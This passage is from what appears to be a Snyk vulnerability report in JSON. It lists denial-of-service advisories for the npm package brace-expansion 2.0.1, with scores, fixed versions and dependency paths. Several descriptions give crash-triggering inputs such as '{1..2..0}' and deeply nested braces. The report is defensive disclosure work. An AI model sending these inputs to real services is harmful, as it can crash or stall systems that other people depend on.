"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
